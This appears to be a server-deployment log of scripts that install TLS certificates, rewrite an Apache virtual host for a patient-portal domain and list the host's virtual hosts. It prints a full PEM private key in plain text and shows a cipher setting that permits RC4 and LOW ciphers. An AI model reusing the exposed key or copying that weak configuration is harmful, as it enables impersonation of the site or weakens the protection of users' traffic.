MqDBVkZ5GHRiAiAgQUvjto9B4sqpmqm0qgQwPrQ5v1TW/eS+GLV8RarVVwB2AO08
S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmPmSS1EAAAQDAEcwRQIh
ALY2BRsBG4zY6bJX4rpM5lWcb9CTt6oxg5FKeNNwBLHtAiAEkSO4rcsVSt3TBk/l
4JKCBkV08ASXB/jAHqXVN7q4ITANBgkqhkiG9w0BAQsFAAOCAQEApRdFYDM2D+CF
WArXfgH+/dEvLqfxDminq2TWU5m2Fi+tyOS9tiER0p/WV4VcJgcTFtphH9vFdw/g
XZ23FneiPlsixgG3Fg9hbwWkSyEL/qyrfUD/rMwLuWpRERBNoMU8UZFQcTZ955w8
/jW+yUltpvlRGwnmd2VA3fH/JINpPdKaHh0rOukcHnvEDfPtc9geVEVkmJ+284a+
b+7qHJDoaBLxdhPeYUu33MQxzpvAha1SdJywRD4IB48H1X4rv6Cabld0ta/rWfCv
lFIxNwPzZ+AyeHR1Xw3tffuSb7Ct4AJvgyUrODClIePxE1+COqxafa6Gbo2NvvQs
p0Qjbx4ldA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCdkhlS3KnHo3VB
kZDd+2UDe6RTdBv1N5eLdZU1Fvg/4mmFmbtTu/Na35MZWpz4Uol8yp8g3WAYLuT5
WWuVO1bYDneOvg9rMyy8o8gxyqgZ0NmbXaHp7m6nGpNVxVsysesqBQKBlj8miPdA
szd+jFVY9WOlRZbyp7KAa65AvEYfmZcM5q+yvqo7i3H61oR1gNTDHq9+Um68M0P9
KbGqW2A65fVAiQaphrCWfY9TMt3mRJPbuviJ816ALMzxkhznens1pO5NkqMsFQKn
kGEGT1jVf6FpvPTJs7/5LMII5g3HcvV6q9JaF6uNHjUiaMrmW2OEEs6jVoyW5Mb0
uGmrijt9AgMBAAECggEAK05oH1n+X5wRMgAr7JaXYKmutDEJLhAlWnLqmzjA6e30
Sn/B+HWDoMopx6Ib2jP1DZMywPmW246n59AnvVAdwivXuCeMXU4nUYFCGE02fkHk
TMsjIQQi7VJkhAJF2l0D4PyXf74nhRPHwMSA0AsJufVXeajyn6ZvbNQrhCc6rpw9
ZSMlK3F3TODuB9kVPK6cIAwBa8ZtcaFXNzMpEnjG5OgCQDKE3E59LJg7XQ7XX6f3
Q1BSSAYyjNpDpOwAcj9GRb6wBtDUg9o3eLvwwoBVytjWhxm/3U7kx2tV4NhZ/7qa
hsyB6eBCB1fHjYjGE+YyLbcVSxdNvq10GVmd6ncAkQKBgQDRSprhdNaXNd13uxFn
RR/EDLi5e5Ut2E1bQZT+UPfB5L63mSU/iKpik7n0gDcBv9Gu/1vOyg5eNmMAMHt8
3s8iqCQkdtUSr4L/L3/hBJa+v8ybbJb3iV4zNOk/aj1n3XeO//3+DaYVYXZrzqOX
C5LNAo1hhsdlPk4qmXDvr0IGowKBgQDAvIvmmBdy9A1yIwQW6QiJbR2RnW7WsRcv
2Hv3bvda1JsAXZYTcGeDAkoO1rRkYvKYv2I12puR5amAW6vW64I8OfmvcEhnbjSA
1yCua1WtT+CZLUwYGS52rPQDnLG0LrTQ8PFbrwye39jr37uZqkknwvBR9nXmZOEo
6MHF/nx3XwKBgHKGVpZEryBzU0svTGisRKOtKnAlFg7OLBZhnrxDZi/tkgc5gE5x
5Hqox7rpZjBI3N7b0Uso+g/HxwjVft1ntwUJ6S0i8ZmV/SLSxTFGp46ducLa+wld
W/S9YV1YL13krIXNwxkAMv/EI17+5jnDFYOlf+P8MqROIcvhxxEBYCntAoGBAKER
sNTfy9DsdgQpkTRYQSMgBjL333YZ/uekQk1Q9fR5cqPGkjHioQ7SLfPiqFSwgE74
uemJrLMrvBCiC6SLooYUaT6dVlThu4zku9Inry0scOVx/oKxIKxa833FSJjs430t
rnbRfnmTVqQgkJXlwkcxWUcV8ge9zJE0myOM/pV/AoGBAIxkj4+JfZc3/QECIxmd
Yqr/rsNKbuAmBe7YAdltZoLnsMv7zaNhMjnaJ/cPDAi+ysvwbKUZFPBinl7HsWH+
Tj7yHEl1X+pIHyhMjs0UYky8j3pP2B7X55BNOU6AcT4x/3ayIxN2yps+1Iq82zqP
QSujZhsebJuqwO8dky0BJo94
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:02:51: 

chmod 755 /tmp/pkp987702; /tmp/pkp987702; rm /tmp/pkp987702

2025-08-30 06:02:51: 


dir=/etc/ssl/certs


2025-08-30 06:02:51: 

PUT: /tmp/pkp295268

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:02:51: 

chmod 755 /tmp/pkp295268; /tmp/pkp295268; rm /tmp/pkp295268

2025-08-30 06:02:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2025-08-30 06:02:51: 

PUT: /tmp/pkp810010

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2025-08-30 06:02:51: 

chmod 755 /tmp/pkp810010; /tmp/pkp810010; rm /tmp/pkp810010

2025-08-30 06:02:51: 




2025-08-30 06:02:51: 

PUT: /tmp/pkp870611

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:02:52: 

chmod 755 /tmp/pkp870611; /tmp/pkp870611; rm /tmp/pkp870611

2025-08-30 06:02:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:02:52: Establishing a connection
2025-08-30 06:02:52: 

PUT: /tmp/pkp111153

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:02:52: 

chmod 755 /tmp/pkp111153; /tmp/pkp111153; rm /tmp/pkp111153

2025-08-30 06:02:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
